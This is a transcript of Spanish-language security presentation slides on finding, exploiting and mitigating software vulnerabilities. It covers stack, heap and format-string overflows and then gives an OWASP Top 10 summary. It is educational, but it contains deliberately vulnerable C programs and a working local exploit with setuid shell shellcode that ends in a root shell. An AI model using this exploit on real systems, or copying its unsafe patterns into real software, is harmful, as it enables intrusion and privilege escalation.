¡ups! código inseguro: detección, explotación y mitigación de vulnerabilidades en software

Post on 22-May-2015

474 Views

Category:

Technology

1 Downloads

Preview:

Click to see full reader

TRANSCRIPT

¡Ups! Código inseguro.

Carlos A. Lozano Vargas

“Los hackers siempre entran por la vía más facíl”

“Los script kiddies siempre entran por la vía más facíl…

los hackers pasan horas fuzzeando, debuggeando, desensamblando

y explotando”

Vulnerabilidades reportadas a la National Vulnerability Database de EU

Evolución: Del stack buffer overflow a la SQL Injection

Stack buffer overflows

La pila (stack)

Memoria alta: 0xfffffff0

Memoria baja: 0x11111111

ESP

EBP

mov 0xc($ebp), %eaxadd $0x08, %eaxpushl (%eax)mov 0xc(%ebp), %eaxadd $0x04, %eaxpushl (%eax)call 0x804835c <funcion_name>

add $0xc, %espleaveret

push %ebpmov %esp, %ebpsub $0x190, %esppushl 0xc(%ebp)

Prólogo de función

Epílogo de función

Llamada a función

main(){ chart str[10]; strcpy(str, “AAAAAAAAAAAAAAAA”);}

Desbordamiento de un buffer

10 bytes0x41414141

Antes Después

#include <stdio.h>#include <stdlib.h>#include <string.h>

int check_authentification(char *password){int auth_flag=0;char password_buffer[16];

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brilling")==0){auth_flag=1;}if(strcmp(password_buffer, "outgrabe")==0){auth_flag=1;}

return auth_flag;}

int main(int argc, char *argv[]){if(argc<2){printf("Usage: %s <password>\n", argv[0]);exit(0);}

Autenticación vulnerable a BOF

if(check_authentification(argv[1])){printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");printf("Acces granted\n");printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");}else{printf("Access denied\n");}}

Explotación

$ ./auth_overflowUsage: ./auth_overflow <password>

$ ./auth_overflow brilling

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ ./auth_overflow outgrabe

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ ./auth_overflow testAccess denied

$ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Segmentation fault

Explicación (1)

$ gdb -q ./auth_overflow(gdb) list 11       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>45       int check_authentification(char *password){6               int auth_flag=0;7               char password_buffer[16];89               strcpy(password_buffer, password);10(gdb)11              if(strcmp(password_buffer, "brilling")==0){12                      auth_flag=1;13              }14              if(strcmp(password_buffer, "outgrabe")==0){15                      auth_flag=1;16              }1718              return auth_flag;19      }20

Explicación (2)

21      int main(int argc, char *argv[]){22              if(argc<2){23                      printf("Usage: %s <password>\n", argv[0]);24                      exit(0);25              }2627              if(check_authentification(argv[1])){28                      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");29                      printf("Acces granted\n");30                      print31              }32              else{33                      printf("Access denied\n");34              }35      }

Explicación (3)

(gdb)Line number 36 out of range; auth_overflow.c has 35 lines.(gdb) break 9Breakpoint 1 at 0x8048431: file auth_overflow.c, line 9.(gdb) break 18Breakpoint 2 at 0x8048481: file auth_overflow.c, line 18.(gdb) run AAAAAAAAAAAAAAAAAStarting program: /home/vendetta/Code/Art_of_Explotation/auth_overflow AAAAAAAAAAAAAAAAABreakpoint 1, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:99               strcpy(password_buffer, password);(gdb) x/s password_buffer0xbfd8cfe4:      "t\227\004\b<F8><CF><U+063F><FD>\202\004\b<F4><FF><FB><B7>"(gdb) x/x auth_flag0x0:    Cannot access memory at address 0x0(gdb) x/x &auth_flag0xbfd8cff4:     0x00000000(gdb) printf 0xbfd8cff4 - 0xbfd8cfe4Bad format string, missing '"'.(gdb) print 0xbfd8cff4 - 0xbfd8cfe4$1 = 16

Explicación (4)

(gdb) x/16xw password_buffer0xbfd8cfe4:     0x08049774      0xbfd8cff8      0x080482fd      0xb7fbfff40xbfd8cff4:     0x00000000      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0

(gdb) continueContinuing.

Breakpoint 2, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:1818              return auth_flag;(gdb) x/s password_buffer0xbfd8cfe4:      'A' <repeats 17 times>(gdb) x/x &auth_flag0xbfd8cff4:     0x00000041(gdb) x/16xw password_buffer0xbfd8cfe4:     0x41414141      0x41414141      0x41414141      0x414141410xbfd8cff4:     0x00000041      0xbfd8d018      0x080484d9      0xbfd8d4d00xbfd8d004:     0xbfd8d0c0      0xb7fc0c80      0xb7fbfff4      0xbfd8d0300xbfd8d014:     0xbfd8d030      0xbfd8d088      0xb7e8e390      0xb7ffece0

(gdb) x/4cb &auth_flag0xbfd8cff4:     65 'A'  0 '\0'  0 '\0'  0 '\0'

Explicación (4)

(gdb) x/dw &auth_flag0xbfd8cff4:     65(gdb)0xbfd8cff8:     -1076309992(gdb)0xbfd8cffc:     134513881(gdb) continueContinuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program exited with code 046.(gdb)The program is not being run.(gdb) quit

Heap overflows

Heap

Espacioocupado

Espaciolibre

Wilderness

Código vulnerable a HOF

#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>

#define BUFSIZE 10#define OVERSIZE 5

int main(){ u_long diff; char *buf1=(char *)malloc(BUFSIZE); char *buf2=(char *)malloc(BUFSIZE); diff=(u_long)buf2-(u_long)buf1; printf(“diff=%d bytes\n”, diff); strcat(buf2, “AAAAAAAAAA”); printf(“buf2 antes del overflow = %s\n”, buf2); memset(buf1, ‘B’, (u_int)(diff+OVERSIZE); printf(“buf2 despues del overflow = %s\n”, buf2); return 0;}

Explotación

# ./heap1Diff = 16 bytesbuf2 antes del overflow = AAAAAAAAAAbuf2 despues del overflow = BBBBBAAAAA

Format string bugs

Código vulnerable a format string bugs

#include <stdio.h>#include <stdlib.h>#include <string.h>

int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text);

printf("\n");

// Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

exit(0);}

Explotación

vendetta@pwned:~/code $ ./fmt_vuln hoooooooooolaThe right way to print user-controlled input:hoooooooooolaThe wrong way to print user-controlled input:hoooooooooola[*] test_val @ 0x08049794 = -72 0xffffffb8vendetta@pwned:~/code $ ./fmt_vuln %sThe right way to print user-controlled input:%sThe wrong way to print user-controlled input:%s[*] test_val @ 0x08049794 = -72 0xffffffb8vendetta@pwned:~/code $ ./fmt_vuln &x[1] 8815Usage: ./fmt_vuln <text to print>bash: x: orden no encontrada[1]+ Done ./fmt_vulnvendetta@pwned:~/code $ ./fmt_vuln &HOME[1] 8828Usage: ./fmt_vuln <text to print>bash: HOME: orden no encontrada[1]+ Done ./fmt_vuln

Aprovechamiento de vulnerabilidades

Código para escribir una nota (1)

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"

void usage(char *prog_name, char *filename) {printf("Usage: %s <data to add to %s>\n", prog_name, filename);exit(0);}

void fatal(char *);void *ec_malloc(unsigned int);

int main(int argc, char *argv[]) {int userid, fd; // file descriptorchar *buffer, *datafile;

buffer = (char *) ec_malloc(100);datafile = (char *) ec_malloc(20);strcpy(datafile, "/var/notes");

Código para escribir una nota (2)

if(argc < 2) usage(argv[0], datafile);

strcpy(buffer, argv[1]);

printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);if(fd == -1)fatal("in main() while opening file");printf("[DEBUG] file descriptor is %d\n", fd);

userid = getuid();

if(write(fd, &userid, 4) == -1)fatal("in main() while writing userid to file");write(fd, "\n", 1);

if(write(fd, buffer, strlen(buffer)) == -1)fatal("in main() while writing buffer to file");write(fd, "\n", 1);

Código para escribir una nota (3)

if(close(fd) == -1)fatal("in main() while closing file");

printf("Note has been saved.\n");free(buffer);free(datafile);}

Código para buscar una nota (1)

#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"

#define FILENAME "/var/notes"

int print_notes(int, int, char *); int find_user_note(int, int); int search_note(char *, char *);void fatal(char *);

int main(int argc, char *argv[]) {int userid, printing=1, fd;char searchstring[100];

if(argc > 1) strcpy(searchstring, argv[1]);else searchstring[0] = 0;

Código para buscar una nota (2)

while(printing)printing = print_notes(fd, userid, searchstring);printf("-------[ end of note data ]-------\n");close(fd);}

int print_notes(int fd, int uid, char *searchstring) {int note_length;char byte=0, note_buffer[100];

note_length = find_user_note(fd, uid);if(note_length == -1)return 0;

read(fd, note_buffer, note_length);note_buffer[note_length] = 0;

if(search_note(note_buffer, searchstring))printf(note_buffer); return 1;}

Código para buscar una nota (3)

int find_user_note(int fd, int user_uid) {int note_uid=-1;unsigned char byte;int length;

while(note_uid != user_uid) {if(read(fd, &note_uid, 4) != 4)return -1;if(read(fd, &byte, 1) != 1)return -1;

byte = length = 0;while(byte != '\n') { if(read(fd, &byte, 1) != 1)return -1; length++; }}lseek(fd, length * -1, SEEK_CUR);

printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);return length;}

Código para buscar una nota (4)

int search_note(char *note, char *keyword) {int i, keyword_length, match=0;

keyword_length = strlen(keyword);if(keyword_length == 0)return 1;

for(i=0; i < strlen(note); i++) {if(note[i] == keyword[match])match++; else { if(note[i] == keyword[0])match = 1; elsematch = 0; }if(match == keyword_length)return 1;}return 0;}

Exploit (1)

#include <stdio.h>#include <stdlib.h>#include <string.h>char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68""\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89""\xe1\xcd\x80";

int main(int argc, char *argv[]) {unsigned int i, *ptr, ret, offset=270;char *command, *buffer;

command = (char *) malloc(200);bzero(command, 200);

strcpy(command, "./notesearch \'");buffer = command + strlen(command);

if(argc > 1)offset = atoi(argv[1]);

ret = (unsigned int) &i - offset;

Exploit (2)

for(i=0; i < 160; i+=4)*((unsigned int *)(buffer+i)) = ret;memset(buffer, 0x90, 60);memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

strcat(command, "\'");system(command);free(command);}

Explicación (1)

vendetta@pwned:/home/vendetta/booksrc $ gdb -q exploit_notesearchUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) list1       #include <stdio.h>2       #include <stdlib.h>3       #include <string.h>4       char shellcode[]=5       "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"6       "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"7       "\xe1\xcd\x80";89       int main(int argc, char *argv[]) {10         unsigned int i, *ptr, ret, offset=270;11         char *command, *buffer;1213         command = (char *) malloc(200);14         bzero(command, 200); // zero out the new memory1516         strcpy(command, "./notesearch \'"); // start command buffer17         buffer = command + strlen(command); // set buffer at the end1819         if(argc > 1) // set offset20            offset = atoi(argv[1]);

Explicación (2)

2122         ret = (unsigned int) &i - offset; // set return address2324         for(i=0; i < 160; i+=4) // fill buffer with return address25            *((unsigned int *)(buffer+i)) = ret;26         memset(buffer, 0x90, 60); // build NOP sled27         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);2829         strcat(command, "\'");30         system(command); // run exploit31         free(command);32      }33(gdb) break 26Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.(gdb) break 27Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.(gdb) break 28Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.(gdb) runStarting program: /home/vendetta/booksrc/exploit_notesearchBreakpoint 1, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2626         memset(buffer, 0x90, 60); // build NOP sled(gdb) x/x40 bufferA syntax error in expression, near `buffer'.

Explicación (3)

(gdb) x/40x buffer0x804a016:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a026:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a036:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a046:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.

Breakpoint 2, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2727         memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

Explicación (4)

(gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xbffff6860x804a056:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a066:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '\220' <repeats 60 times>, "\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.Breakpoint 3, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2929         strcat(command, "\'");

Explicación (5)

(gdb) x/40x buffer0x804a016:      0x90909090      0x90909090      0x90909090      0x909090900x804a026:      0x90909090      0x90909090      0x90909090      0x909090900x804a036:      0x90909090      0x90909090      0x90909090      0x909090900x804a046:      0x90909090      0x90909090      0x90909090      0xdb31c0310x804a056:      0xb099c931      0x6a80cda4      0x6851580b      0x68732f2f0x804a066:      0x69622f68      0x51e3896e      0x8953e289      0xbf80cde10x804a076:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a086:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a096:      0xbffff686      0xbffff686      0xbffff686      0xbffff6860x804a0a6:      0xbffff686      0xbffff686      0xbffff686      0xbffff686(gdb) x/s command0x804a008:       "./notesearch '", '\220' <repeats 60 times>, "1�1�1�\231���\200j\vXQh//shh/bin\211�Q\211�S\211��\200�\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.-------[ end of note data ]-------

Program exited normally.(gdb) qvendetta@pwned:/home/vendetta/booksrc $ ./exploit_notesearch-------[ end of note data ]-------sh-3.2#

Vulnerabilidades en aplicaciones Web

OWASP top 10

o Inyecciones de códigoo XSSo Fallos de autenticación y manejo de sesiones erróneoo Referencias directas a objetoso CSRFo Errores de configuracióno Almacenamiento inseguroo Fallos en la restricción de recursoso Protección insuficiente en la capa de transporteo Redirecciones y reenvios inválidos

Inyecciones de código

Vulnerabilidad:– Inyecciones de código

Descripción:– Ocurre cuando código no malisioso es inyectado en la

aplicación con el fin de ejecutar un comando o consulta no contemplada por el desarrollador.

Causa:– Errores de validación de entradas

Consecuencias:– Compromiso de la aplicación, robo de información.

Soluciones:– Validación de entradas, correcta separación cliente-servidor,,

uso de consultas parametrizadas.

Inyecciones de código

Herramientas:– Pangolin– SQL ninja– SQL Map– SQL Inject Me

Inyecciones de código

Cross Site Scripting (XSS)

Vulnerabilidad:– Cross Site Scripting

Descripción:– Inyección de código pobremente escapado que permite

ingresar una sentencia directamente en el campo URL del navegador para modificar la apariencia del sitio Web.

Causa:– Errores de validación de campos.

Consecuencias:– Ingeniería social, robo de identidad, phishing

Soluciones:– Validación de entradas.

Cross Site Scripting (XSS)

Herramientas:– Acunetix– N-Stalker– W3af– XSS Me

Cross Site Scripting (XSS)

Salto de autenticación y erroneo manejo de sesiones

Vulnerabilidad:– Salto de autenticación y erroneo manejo de sesiones

Descripción:– Errores en la generación, manejo y destrucciones de sesiones

y tickets de transacciones.

Causa:– Confianza en frameworks y servidores Web.

Consecuencias:– Ingreso no autorizado, robo de información, robo de

identidad.

Soluciones:– Uso de sesiones y tickets dinamicos, establecimiento de time-

outs, destrucción de sesiones.

Salto de autenticación y erroneo manejo de sesiones

Herramientas:– Paros Proxy– Charles– Tamper Data

Salto de autenticación y erroneo manejo de sesiones

Referencias inseguras a objetos

Vulnerabilidad:– Referencias inseguras a objetos

Descripción:– Referencia a un objeto interno como un archivo,

directorio, base de datos..

Causa:– Manipulación de recursos no autorizada.

Consecuencias:– Acceso a recursos no autorizados.

Soluciones:– Control de accesos a recursos.

Cross Site Request Forgery

Vulnerabilidad:– Cross Site Request Forgery (CSRF)

Descripción:– Ataque en el cual se forza el envio de información HTTP de un

usuario autenticado correctamente, como la sesión y cookies, con el fin de enviar información falsa despues haciendo creer a la aplicación que se es el usuario real.

Causa:– Transacciones multiples.

Consecuencias:– Compromiso de la aplicación.

Soluciones:– Uso de tickets dinamicos para transacciones.

Errores de configuración

Almacenamiento insegurode información

Vulnerabilidad:– Almacenamiento inseguro de información

Descripción:– Almacenamiento de información sin mecanismos de

cifrado.

Causa:– Malas prácticas de resguardo de información.

Consecuencias:– Robo de información.

Soluciones:– Uso de mecanismos de cifrado.

Errores de restricción de URLs

Vulnerabilidad:– Errores de restricción de URLs

Descripción:– Acceso no autorizado a recursos de la aplicación

Causa:– Errores de autorización.

Consecuencias:– Robo de información, acceso no autorizado.

Soluciones:– Uso de matrices de autenticación.

Protección insuficiente en la capa de transporte

Vulnerabilidad:– Protección insuficiente en la capa de transporte

Descripción:– Información enviada en texto claro o mediante

mecanismos de cifrado reversibles

Causa:– Malas prácticas.

Consecuencias:– Robo de información, acceso no autorizado.

Soluciones:– Uso de HTTPS, SSH u otros mecanismos de cifrado.

Protección insuficienteen la capa de transporte

Herramientas:– Wireshark– Trapper– Cain– EavesDrop– Paros Proxy– Charles Proxy– Tamper Data

Protección insuficienteen la capa de transporte

Redirecciones y reenvios inválidos

Vulnerabilidad:– Redirecciones y reenvios invalidos

Descripción:– Errores en el reenvio o redirección del usuario.

Causa::– Malas prácticas.

Consecuencias:– Robo de información, acceso no autorizado.

Soluciones:– Uso de matrices de autorización.

Frases de TI

“Nosotros no nos precupamos del manejo de sesiones, el framework se

encarga de ello”

“Es configurable… ”

“Pero, si, si lo valide…”

“Yo uso Java/.Net…”

“/*Ahorita no hay usuario administrador, pero ya luego checamos eso en producción*/”

¡Gracias!

Carlos A. Lozano Vargasaugusto@bluemammut.com

top related